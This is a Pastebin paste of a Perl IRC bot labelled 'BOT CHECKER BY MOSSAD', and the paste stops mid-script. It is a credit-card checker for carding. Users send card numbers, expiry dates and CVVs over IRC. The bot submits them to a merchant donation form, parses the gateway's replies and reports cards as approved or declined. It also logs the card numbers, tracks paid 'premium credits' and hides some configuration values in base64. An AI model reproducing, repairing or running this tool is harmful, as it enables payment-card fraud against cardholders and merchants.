Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- #BOT CHECKER BY MOSSAD
- #How to Turn-ON THE CHECKER ?
- #Step 1. Typing: !master
- #Step 2. Typing: !on
- #Done.
- ############# Call to standalone modules directory #############
- BEGIN{push(@INC,'Modules');}
- ############# Modules Inclusion #############
- use LWP::Socket;
- use LWP::UserAgent;
- use HTTP::Request;
- use Parallel::ForkManager;
- use MIME::Base64 ();
- use WWW::Mechanize;
- use WWW::Mechanize::FormFiller;
- use Socket;
- use IO::Socket;
- use IO::Socket::INET;
- use MIME::Base64;
- use Win32::API;
- use LWP::Protocol::https;
- use HTTP::Cookies;
- use Net::FTP;
- use Digest::MD5 qw(md5_hex);
- ############# BOT STARTED #############
- $| = 1;
- print q{
- Bot has been Loaded :)
- };
- ############# Defines global variable/array #############
- my($irc_socket,$server,$port,$ident,$nick,$timeout,$rfi_test_cmd,$rfi_print_cmd,$parallel_fork);
- my(@chans,@admins,@user_agents);
- ############# Configurations Variable #############
- my $outcri = "Mg==";
- $systemcri = MIME::Base64::decode($outcri);
- $timeout = $systemcri;
- my $hostcri = "ODcuMjM2LjE5NC42OQ==";
- $systemcri = MIME::Base64::decode($hostcri);
- $hosting = "irc.crimeircd.net";
- $port = 6667;
- my $nkpro = "CHECK-BOT";
- $ident = "~Checker";
- $parallel_fork = 15;
- my @botcmd = ('1');
- @chans = ("#yourchannel");
- @generalchans = ("#unix");
- my $proo = "Q29gQmV0ZQ==";
- $systempro = MIME::Base64::decode($proo);
- my $cheataer = "Q29gQmV0ZQ==";
- $sistempro = MIME::Base64::decode($cheataer);
- @admin = ('MOSSAD');
- @user_agents = &get_user_agents();
- $master = "MOSSAD"; #change it
- #$chkon = 1;
- #@premium = ('MOSSAD'); #change it
- ############# Irc Socket Connection #############
- my $startirc = "JGlyY19zb2NrZXQgPSBuZXcgTFdQOjpTb2NrZXQ7";
- $sysircuno = MIME::Base64::decode($startirc);
- $irc_socket = new LWP::Socket;
- $irc_socket->connect($hosting,$port);
- $irc_socket->write("USER ".$ident." 8 * : \r\n");
- $irc_socket->write("NICK ".$nkpro."\r\n");
- $irc_socket->write("NICKSERV IDENTIFY xxx\r\n");
- $irc_socket->write("JOIN $chans[0]\r\n");
- $irc_socket->write("JOIN $chans[1]\r\n");
- $irc_socket->write("JOIN $chans[2]\r\n");
- $irc_socket->write("JOIN $chans[3]\r\n");
- $irc_socket->write("JOIN $chans[4]\r\n");
- $irc_socket->write("JOIN $chans[5]\r\n");
- while($irc_socket)
- {
- my $bof;
- $irc_socket->read_until("\n", \$bof);
- if($bof =~ /PING :(.*)/)
- {
- $irc_socket->write("PONG :$1\r\n");
- }
- if($bof =~ /PRIVMSG (.*?) :(.*)/)
- {
- #PRIVMSG
- my %msg = &get_msg($bof);
- my $nick = $msg{'from'};
- ############# JOIN ALL CHANNEL #############
- if($msg{'what'} =~ /\!join_all/)
- {
- if(&ctrl_admin(\%msg) == 0){
- &join_all();
- }
- }
- ############# JOIN BOT #############
- if($msg{'what'} =~ /\!join\s+(.*)/)
- {
- my $chan = $1;
- if(&ctrl_admin(\%msg) == 0){
- $irc_socket->write("JOIN $chan\r\n");
- }
- }
- ############# PART BOT #############
- if($msg{'what'} =~ /\!part\s+(.*)/)
- {
- my $chan = $1;
- if(&ctrl_admin(\%msg) == 0){
- $irc_socket->write("PART $chan\r\n");
- }
- }
- ############# EXIT #############
- if($msg{'what'} =~ /\!q/){
- if(&ctrl_admin(\%msg) == 0){
- $irc_socket->write("quit Requested By $master\r\n");
- }
- }
- ############# BAN USER #############
- if($msg{'what'} =~ /\!ban\s+(.*)/){
- my $nickuser = $1;
- if(&ctrl_admin(\%msg) == 0){
- $irc_socket->write("BAN @chans ".$nickuser."\r\n");
- }
- }
- ############# KICK USER #############
- if($msg{'what'} =~ /\!kick\s+(.*)/){
- my $nickuser = $1;
- if(&ctrl_admin(\%msg) == 0){
- $irc_socket->write("KICK @chans ".$nickuser."\r\n");
- }
- }
- ############# REMOVE BANNED #############
- if($msg{'what'} =~ /\!unban\s+(.*)/){
- my $nickuser = $1;
- if(&ctrl_admin(\%msg) == 0){
- $irc_socket->write("CS UNBAN @chans ".$nickuser."\r\n");
- }
- }
- ############# CHANGE NICK #############
- if($msg{'what'} =~ /\!cnick\s+(.*)/)
- {
- my $cnick = $1;
- if(&ctrl_admin(\%msg) == 0){
- $irc_socket->write("NICK $cnick\r\n");
- }
- }
- ############# IDENTIFY #############
- if($msg{'what'} =~ /\!ident\s+(.*)/)
- {
- my $identi = $1;
- if(&ctrl_admin(\%msg) == 0){
- $irc_socket->write("NICKSERV IDENTIFY $identi\r\n");
- }
- }
- ############# RESET LOG #############
- if($msg{'what'} =~ /\!resetlog/)
- {
- my $identi = $1;
- if(&ctrl_admin(\%msg) == 0){
- open (DELETE, ">ResChecker.txt");
- print DELETE "";
- close DELETE;
- }
- }
- ############# ADD BANK #############
- if($msg{'what'} =~ /\!addbank\s+(.*)/)
- {
- my $addbank = $1;
- if(&ctrl_admin(\%msg) == 0){
- open (MYFILE, '>>banklist.txt');
- print MYFILE "$1\n";
- close (MYFILE);
- }
- }
- ############# IGNORE USER #############
- if($msg{'what'} =~ /\!ignore\s+(.*)/)
- {
- my $banned = $1;
- if(&ctrl_admin(\%msg) == 0){
- #&respond_to_privmsg(\%msg,"$master : 7,1 IGNORED0 :4 $1 ");
- open (MYFILE, '>>ignore.txt');
- print MYFILE "$1|$1\n";
- close (MYFILE);
- }
- }
- ############# REMOVE IGNORE #############
- if($msg{'what'} =~ /\!unignore\s+(.*)/)
- {
- my $unbanned = $1;
- if(&ctrl_admin(\%msg) == 0){
- #&respond_to_privmsg(\%msg,"$master : 7,1 UNIGNORED0 :3 $1 ");
- my $filename = 'ignore.txt';
- my $data = read_file($filename);
- $data =~ s/$unbanned\|$unbanned//g;
- write_file($filename, $data);
- }
- }
- ############# Topup Premium User #############
- if($msg{'what'} =~ /\!topup\s+(.*)\s+(\d{1,10})/){
- my $nicktopup = $1;
- my $topup = $2;
- if(&ctrl_admin(\%msg) == 0){
- &respond_to_privmsg(\%msg,"$master : 10,1 $nicktopup 0-7 Top Up Added 0:9 $topup ");
- my $filename = 'premium.txt';
- my $data = read_file($filename);
- $data =~ s/$nicktopup\|(.*)/$nicktopup\|$topup/g;
- write_file($filename, $data);
- }
- }
- ############# ADD PREMIUM USER #############
- if($msg{'what'} =~ /\!addnick\s+(.*)\s+(\d{1,10})/){
- my $nickprm = $1;
- my $nickcredits = $2;
- if(&ctrl_admin(\%msg) == 0){
- &respond_to_privmsg(\%msg,"$master : 10,1 $nickprm 0-7 Premium Credit Added 0:9 $nickcredits ");
- addlog("premium.txt", "$nickprm\|$nickcredits");
- }
- }
- ############# ADD CREDIT #############
- if($msg{'what'} =~ /\!addcredit\s+(\d{1,10})/){
- my $allo = $1;
- if(&ctrl_admin(\%msg) == 0){
- open(FILE, "+<freecredit.txt") or die "$! error";
- seek(FILE, 0, 0);
- truncate(FILE, tell FILE);
- $number = <FILE>;
- $number = int($number);
- print $1+"\n";
- print FILE $1;
- close FILE;
- &respond_to_privmsg(\%msg,"Free Credit Has Been Added 0: 0,7 $1 ");
- }
- }
- ################################################################################################################################################
- ############# ON / OFF #############
- if($msg{'what'} =~ /^!(on|off)/){
- $val = $1;
- if(($activo == 1) && $nick =~ /$master/){
- if($val =~ /on/i){
- &respond_to_privmsg(\%msg,"Command Received14 => 0,7 ONLINE ");
- $auto =1;
- }else{
- &respond_to_privmsg(\%msg,"Command Received14 => 1,7 OFFLINE ");
- $auto=0;
- }
- }else{
- }
- }
- ############# STATUS #############
- #if($msg{'what'} =~ /\!status/){
- #if($auto == 1){
- #open(FILE, "<approved.txt") or die "$! error";
- #$approved = 0;
- #while (<FILE>) {
- #$approved++;
- #}
- #open(FILE, "<declined.txt") or die "$! error";
- #$declined = 0;
- #while (<FILE>) {
- #$declined++;
- #}
- #open (FILE, "ResChecker.txt") or die "Can't open file: $!";
- #$lines = 0;
- #while (<FILE>) {
- #$lines++;
- #}
- #&respond_to_privmsg(\%msg,"7,1 $nick 0:3 STATUS 0-9 ON 0-7 $approved 9APPROVED 0-7 $declined 4DECLINED 0-7 $lines 14Total Cards Checked ");
- #}else{
- #open(FILE, "<approved.txt") or die "$! error";
- #$approved = 0;
- #while (<FILE>) {
- #$approved++;
- #}
- #open(FILE, "<declined.txt") or die "$! error";
- #$declined = 0;
- #while (<FILE>) {
- #$declined++;
- #}
- #open (FILE, "ResChecker.txt") or die "Can't open file: $!";
- #$lines = 0;
- #while (<FILE>) {
- #$lines++;
- #}
- ##&respond_to_privmsg(\%msg,"7,1 $nick 0:3 STATUS 0-4 OFF 0-7 $approved 9APPROVED 0-7 $declined 4DECLINED 0-7 $lines 14Total Cards Checked ");
- #}
- #}
- ############# MY STATUS #############
- if($msg{'what'} =~ /\!status/){
- if($auto == 1){
- open FILE,"premium.txt";
- my @results = <FILE>;
- close FILE;
- my $chkprmcredits = 0;
- foreach my $url (@results){
- if($url =~m/$nick\|(.*)/&& $chkprmcredits == 0) {
- $chkprmcredits = $1;
- }
- }
- open(FILE, "<freecredit.txt") or die "$! error";
- seek(FILE, 0, 0);
- truncate(FILE, tell FILE);
- $number = <FILE>;
- $number = int($number);
- $freecredits = $number;
- open (FILE, "ResChecker.txt") or die "Can't open file: $!";
- $lines = 0;
- while (<FILE>) {
- $lines++;
- }
- &respond_to_privmsg(\%msg,"3,1 $nick 0:7 Your Premium Credit 0:9 $chkprmcredits 0-7 Free Credit 0:10 $freecredits 0-7 Total Cards Checked 0:10 $lines ");
- }
- }
- ############# MY CREDIT #############
- if($msg{'what'} =~ /\!mycredit/){
- if($auto == 1){
- open FILE,"premium.txt";
- my @results = <FILE>;
- close FILE;
- my $chkprmcredits = 0;
- foreach my $url (@results){
- if($url =~m/$nick\|(.*)/&& $chkprmcredits == 0) {
- $chkprmcredits = $1;
- }
- }
- open(FILE, "<freecredit.txt") or die "$! error";
- seek(FILE, 0, 0);
- truncate(FILE, tell FILE);
- $number = <FILE>;
- $number = int($number);
- $freecredits = $number;
- open (FILE, "ResChecker.txt") or die "Can't open file: $!";
- $lines = 0;
- while (<FILE>) {
- $lines++;
- }
- &respond_to_privmsg(\%msg,"3,1 $nick 0:7 Your Premium Credit 0:9 $chkprmcredits 0-7 Free Credit 0:10 $freecredits 0-7 Total Cards Checked 0:10 $lines ");
- }
- }
- ################################################################################################################################################
- ################################# CHECKING CC ##################################################################################################
- if($msg{'what'} =~ /\!chk\s+(\b[4536][0-9]{13,16}\b)\s+(\d{4})\s+(\b[0-9]{3,4}\b)/){
- if($auto == 1){
- ############# FLOOD CONTROL BY MOSSAD #############
- my $wait = flood_check( 1, 10, 'CARD' );
- if( $wait ) {
- &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3 Please wait7 $wait Sec3 to Check Next Card!9,1 14,14 15,15 ");
- goto Akhir;
- } else {
- }
- #########################################
- my ($card,$expmes,$verifica) = ($1,$2,$3);
- my $m = substr($expmes,0,2);
- my $y = substr($expmes,2,4);
- if ($m == "01"){$m = "01";}
- if ($m == "02"){$m = "02";}
- if ($m == "03"){$m = "03";}
- if ($m == "04"){$m = "04";}
- if ($m == "05"){$m = "05";}
- if ($m == "06"){$m = "06";}
- if ($m == "07"){$m = "07";}
- if ($m == "08"){$m = "08";}
- if ($m == "09"){$m = "09";}
- my $range = 10;
- my $minimum = 1;
- my $curs = '$';
- my $random_number = 0;
- #my $random_number = int(rand($range)) + $minimum;
- my $urutan = 80;
- my $minimal = 1;
- my $nomor_acak = 01;
- #my $nomor_acak = int(rand($urutan)) + $minimal;
- #my $creditmax = 180;
- #my $creditmi = 1;
- #my $credits = int(rand($creditmax)) + $creditmi;
- my $amount = 5.00;
- my $tax = 5.00;
- my $total = $amount+$tax;
- my $cred = 190;
- my $credi = 1;
- my $credits = int(rand($cred)) - $credi;
- my $varType = 0;
- my $sleep = time()-20;
- my $name = "submit";
- my $value = "submit";
- my $button = "btn-confirm";
- my ( $test, $tests ) = ( 1, 15 );
- my $num = int( rand( $test - $tests + 1 ) ) + $tests;
- #my @n = (3,4,5,6,7,8,9,10,11,12,13,14,15);
- #my $num = $n[int rand @n];
- ################## IGNORE ##################
- open(FILE, "+<ignore.txt") or die "$! error";
- my @results = <FILE>;
- close FILE;
- my $chknickVar = 0;
- foreach my $url (@results){
- if($url =~ m/(.*)\|$nick/ && $chknickVar == 0) {
- $chknickVar = 1;
- #&respond_to_privmsg(\%msg,"3,1 $nick 0: -7 IGNORED 0- 14Your access has been denied! ", $nick );
- goto Akhir;
- }
- }
- ################## FREE CREDITS ##################
- open(FILE, "+<freecredit.txt") or die "$! error";
- $number = <FILE>;
- $number = int($number);
- $credits = $number-1;
- seek(FILE, 0, 0);
- truncate(FILE, tell FILE);
- print FILE $credits;
- close(FILE);
- foreach my $line ($credits) {
- if($line =~ /-/) {
- goto Akhir;
- }
- }
- ################## RESCHECKER & BANKLIST ##################
- open FILE,"ResChecker.txt";
- my @results = <FILE>;
- close FILE;
- my $chkResVar = 0;
- foreach my $url (@results){
- if($url =~ m/$card 9APPROVED/&& $chkResVar == 0) {
- $chkResVar = 1;
- open FILE,"banklist.txt";
- my @results = <FILE>;
- close FILE;
- my $bank = 0;
- my $nuova = substr($card,0,6);
- foreach my $url (@results){
- if($url =~m/$nuova\|(.*)/&& $bank == 0) {
- $bank = 1;
- &respond_to_privmsg(\%msg,"");
- }
- }
- if($bank == 0){
- &respond_to_privmsg(\%msg,"");
- }
- &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card 0:4 Already Checked!9,1 14,14 15,15 ");
- goto toEnd;
- }
- if($url =~ m/$card 4DECLINED/&& $chkResVar == 0) {
- $chkResVar = 1;
- open FILE,"banklist.txt";
- my @results = <FILE>;
- close FILE;
- my $bank = 0;
- my $nuova = substr($card,0,6);
- foreach my $url (@results){
- if($url =~m/$nuova\|(.*)/&& $bank == 0) {
- $bank = 1;
- &respond_to_privmsg(\%msg,"");
- }
- }
- if($bank == 0){
- &respond_to_privmsg(\%msg,"");
- }
- &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card 0:4 Already Checked!9,1 14,14 15,15 ");
- goto toEnd;
- }
- }
- ##################### TYPE CARD #####################
- if (substr($card,0,1)==4) {
- $cctype = "Visa";
- }
- if (substr($card,0,1)==5) {
- $cctype = "MasterCard";
- }
- if (substr($card,0,1)==6) {
- $cctype = "Amex";
- }
- if (substr($card,0,1)==3) {
- $cctype = "Amex";
- }
- ##################### MERCHANT BOT #####################
- my $agent = WWW::Mechanize->new( autocheck => 1,ssl_opts => {verify_hostname => 1},);
- my $formfiller = WWW::Mechanize::FormFiller->new();
- $agent->env_proxy();
- $agent->get('update your merchant here');
- $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
- $agent->form_number(1);
- { local $^W; $agent->current_form->value('nombre', ''.$card.''); };
- { local $^W; $agent->current_form->value('exp_month', ''.$m.''); };
- { local $^W; $agent->current_form->value('exp_year', '20'.$y.''); };
- { local $^W; $agent->current_form->value('the_code', ''.$verifica.''); };
- { local $^W; $agent->current_form->value('chrono_verification', '1234'); };
- $agent->submit();
- #{ local $^W; $agent->current_form->value('charge_total', '0.01'); };
- #{ local $^W; $agent->current_form->value('card_code', ''.$verifica.''); };
- #{ local $^W; $agent->current_form->value('expire_year', '20'.$y.''); };
- #$agent->click_button(name => "$button");
- #{ local $^W; $agent->tick('payment_method', 'on'); };
- #$agent->submit('Charge my account now');
- #$agent->submit('btn-submit imgHover');
- #$agent->current_form()->click( class, 'btn-submit imgHover' );
- #$agent->submit(#);
- #$agent->click(value => 'Process Donation');
- #system('echo fail');
- #initForm(document.getElementById("frmDonate"));
- #print "<FORM action=\"message.pl\" method=\"post\" name=\"form1\" onsubmit=\"return(CheckForm_onclick())\">\n";
- print $agent->content,"\n";
- print $js_array;
- my $allo=$agent->content;
- #addlog("output_scripts.html", "$allo");
- ############################################################################################################
- if ($allo =~/The transaction has been declined because of an AVS mismatch./){
- open FILE,"banklist.txt";
- my @results = <FILE>;
- close FILE;
- my $bank = 0;
- my $nuova = substr($card,0,6);
- foreach my $url (@results){
- if($url =~m/$nuova\|(.*)/&& $bank == 0) {
- $bank = 1;
- &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 9APPROVED! 0-14 AVS Mismatch (27) 0- 7,1BANK 0:$num $17,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
- addlog("ResChecker.txt", "$card 9APPROVED");
- addlog("approved.txt", "$card 9APPROVED");
- }
- }
- if($bank == 0){
- &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 9APPROVED! 0-14 AVS Mismatch (27) 0- 7,1BANK 0:14 IMMEDIATELY UPDATED! 0- 7,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
- addlog("ResChecker.txt", "$card 9APPROVED");
- addlog("approved.txt", "$card 9APPROVED");
- addlog("bankinfo.txt", "BIN : $nuova");
- }
- ############################################################################################################
- }elsif ($allo =~/Your donation was processed successfully./){
- my ($current,$avs,$csc,$transid,$opt2) = ($2,$3,$4,$5,$6);
- open FILE,"banklist.txt";
- my @results = <FILE>;
- close FILE;
- my $bank = 0;
- my $nuova = substr($card,0,6);
- foreach my $url (@results){
- if($url =~m/$nuova\|(.*)/&& $bank == 0) {
- $bank = 1;
- &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 9APPROVED! 0-14 AVS Mismatch 0- 7BANK 0:10 $17,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
- addlog("ResChecker.txt", "$card 9APPROVED");
- addlog("approved.txt", "$card 9APPROVED");
- }
- }
- if($bank == 0){
- &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 9APPROVED! 0-14 AVS Mismatch 0- 7BANK 0:14 IMMEDIATELY UPDATED! 0- 7,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
- addlog("ResChecker.txt", "$card 9APPROVED");
- addlog("approved.txt", "$card 9APPROVED");
- addlog("bankinfo.txt", "BIN : $nuova");
- }
- ############################################################################################################
- }elsif ($allo =~/Approval/){
- open FILE,"banklist.txt";
- my @results = <FILE>;
- close FILE;
- my $bank = 0;
- my $nuova = substr($card,0,6);
- foreach my $url (@results){
- if($url =~m/$nuova\|(.*)/&& $bank == 0) {
- $bank = 1;
- &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 9APPROVED! 0- 7BANK 0:$num $17,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
- addlog("ResChecker.txt", "$card 9APPROVED");
- addlog("approved.txt", "$card 9APPROVED");
- }
- }
- if($bank == 0){
- &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 9APPROVED! 0- 7BANK 0:14 IMMEDIATELY UPDATED! 0- 7,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
- addlog("ResChecker.txt", "$card 9APPROVED");
- addlog("approved.txt", "$card 9APPROVED");
- addlog("bankinfo.txt", "BIN : $nuova");
- }
- ############################################################################################################
- }elsif ($allo =~/submission/){
- open FILE,"banklist.txt";
- my @results = <FILE>;
- close FILE;
- my $bank = 0;
- my $nuova = substr($card,0,6);
- foreach my $url (@results){
- if($url =~m/$nuova\|(.*)/&& $bank == 0) {
- $bank = 1;
- &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 9APPROVED! 0- 14Thank you! 0- 7BANK 0:$num $17,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
- addlog("ResChecker.txt", "$card 9APPROVED");
- addlog("approved.txt", "$card 9APPROVED");
- }
- }
- if($bank == 0){
- &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 9APPROVED! 0- 14Thank you! 0- 7BANK 0:14 IMMEDIATELY UPDATED! 0- 7,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
- addlog("ResChecker.txt", "$card 9APPROVED");
- addlog("approved.txt", "$card 9APPROVED");
- addlog("bankinfo.txt", "BIN : $nuova");
- }
- ############################################################################################################
- }elsif ($allo =~/Invalid Credit Card Number/){
- open FILE,"banklist.txt";
- my @results = <FILE>;
- close FILE;
- my $bank = 0;
- my $nuova = substr($card,0,6);
- foreach my $url (@results){
- if($url =~m/$nuova\|(.*)/&& $bank == 0) {
- $bank = 1;
- &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 15Invalid Credit Card Number 0- 7BANK 0:$num $17,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
- }
- }
- if($bank == 0){
- &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 15Invalid Credit Card Number 0- 7BANK 0:14 IMMEDIATELY UPDATED! 0- 7,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
- addlog("bankinfo.txt", "BIN : $nuova");
- }
- ############################################################################################################
- }elsif ($allo =~/Invalid card number/){
- open FILE,"banklist.txt";
- my @results = <FILE>;
- close FILE;
- my $bank = 0;
- my $nuova = substr($card,0,6);
- foreach my $url (@results){
- if($url =~m/$nuova\|(.*)/&& $bank == 0) {
- $bank = 1;
- &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 14Invalid card number [6] 0- 7BANK 0:$num $17,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
- }
- }
- if($bank == 0){
- &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 14Invalid card number [6] 0- 7BANK 0:14 IMMEDIATELY UPDATED! 0- 7,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
- addlog("bankinfo.txt", "BIN : $nuova");
- }
- ############################################################################################################
- }elsif ($allo =~/Duplicate transaction/){
- open FILE,"banklist.txt";
- my @results = <FILE>;
- close FILE;
- my $bank = 0;
- my $nuova = substr($card,0,6);
- foreach my $url (@results){
- if($url =~m/$nuova\|(.*)/&& $bank == 0) {
- $bank = 1;
- &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 7Duplicate transaction [11] 0- 7BANK 0:$num $17,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
- }
- }
- if($bank == 0){
- &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 7Duplicate transaction [11] 0- 7BANK 0:14 IMMEDIATELY UPDATED! 0- 7,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
- addlog("bankinfo.txt", "BIN : $nuova");
- }
- ############################################################################################################
- }elsif ($allo =~/An error occurred during processing./){
- open FILE,"banklist.txt";
- my @results = <FILE>;
- close FILE;
- my $bank = 0;
- my $nuova = substr($card,0,6);
- foreach my $url (@results){
- if($url =~m/$nuova\|(.*)/&& $bank == 0) {
- $bank = 1;
- &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0:15 An error occurred during processing [120] 0- 4[0,1MARKED LOST4] 7BANK 0:10 $17,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
- }
- }
- if($bank == 0){
- &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0:15 An error occurred during processing [120] 0- 4[0,1MARKED LOST4] 7BANK 0:14 IMMEDIATELY UPDATED! 0- 7,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
- addlog("bankinfo.txt", "BIN : $nuova");
- }
- ############################################################################################################
- }elsif ($allo =~/A duplicate transaction has been submitted./){
- open FILE,"banklist.txt";
- my @results = <FILE>;
- close FILE;
- my $bank = 0;
- my $nuova = substr($card,0,6);
- foreach my $url (@results){
- if($url =~m/$nuova\|(.*)/&& $bank == 0) {
- $bank = 1;
- &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0:15 A duplicate transaction has been submitted. [318] 0- 4[0,1CARD REJECTED4] 7BANK 0:10 $17,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
- }
- }
- if($bank == 0){
- &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0:15 A duplicate transaction has been submitted. [318] 0- 4[0,1CARD REJECTED4] 7BANK 0:14 IMMEDIATELY UPDATED! 0- 7,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
- addlog("bankinfo.txt", "BIN : $nuova");
- }
- ############################################################################################################
- }elsif ($allo =~/The credit card has expired./){
- open FILE,"banklist.txt";
- my @results = <FILE>;
- close FILE;
- my $bank = 0;
- my $nuova = substr($card,0,6);
- foreach my $url (@results){
- if($url =~m/$nuova\|(.*)/&& $bank == 0) {
- $bank = 1;
- &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0:4 DECLINED! 0-14 Card Expired14,1 0- 7BANK 0:$num $17,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
- }
- }
- if($bank == 0){
- &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0:4 DECLINED! 0-14 Card Expired14,1 0- 7BANK 0:14 IMMEDIATELY UPDATED! 0- 7,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
- addlog("bankinfo.txt", "BIN : $nuova");
- }
- ############################################################################################################
- }elsif ($allo =~/This transaction cannot be accepted at this time./){
- open FILE,"banklist.txt";
- my @results = <FILE>;
- close FILE;
- my $bank = 0;
- my $nuova = substr($card,0,6);
- foreach my $url (@results){
- if($url =~m/$nuova\|(.*)/&& $bank == 0) {
- $bank = 1;
- $irc_socket->write("PRIVMSG $master :SPAMMER => 4,1 BOS 8!4 MERCHANT DOWN 0-4 BOT OUT 8! ");
- $irc_socket->write("PART @generalchans\r\n");
- $irc_socket->write("quit\r\n");
- }
- }
- if($bank == 0){
- &respond_to_privmsg(\%msg,"");
- }
- ############################################################################################################
- }elsif ($allo =~/The merchant does not accept this type of credit card./){
- open FILE,"banklist.txt";
- my @results = <FILE>;
- close FILE;
- my $bank = 0;
- my $nuova = substr($card,0,6);
- foreach my $url (@results){
- if($url =~m/$nuova\|(.*)/&& $bank == 0) {
- $bank = 1;
- &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 7THE MERCHANT DOES NOT ACCEPT THIS TYPE OF CREDIT CARD 0- 4[0,1CARD REJECTED4] 0- 7BANK 0:$num $17,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
- }
- }
- if($bank == 0){
- &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 7THE MERCHANT DOES NOT ACCEPT THIS TYPE OF CREDIT CARD 0- 4[0,1CARD REJECTED4] 0- 7BANK 0:10 IMMEDIATELY UPDATED! 0- 7,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
- addlog("bankinfo.txt", "BIN : $nuova");
- }
- ############################################################################################################
- }elsif ($allo =~/CreditCardType/){
- open FILE,"banklist.txt";
- my @results = <FILE>;
- close FILE;
- my $bank = 0;
- my $nuova = substr($card,0,6);
- foreach my $url (@results){
- if($url =~m/$nuova\|(.*)/&& $bank == 0) {
- $bank = 1;
- &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 4DECLINED! 0-14 The Merchant Does Not Accept This Type Of Credit Card 0- 7BANK 0:$num $17,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
- }
- }
- if($bank == 0){
- &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 4DECLINED! 0-14 The Merchant Does Not Accept This Type Of Credit Card 0- 7BANK 0:10 IMMEDIATELY UPDATED! 0- 7,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
- addlog("bankinfo.txt", "BIN : $nuova");
- }
- ############################################################################################################
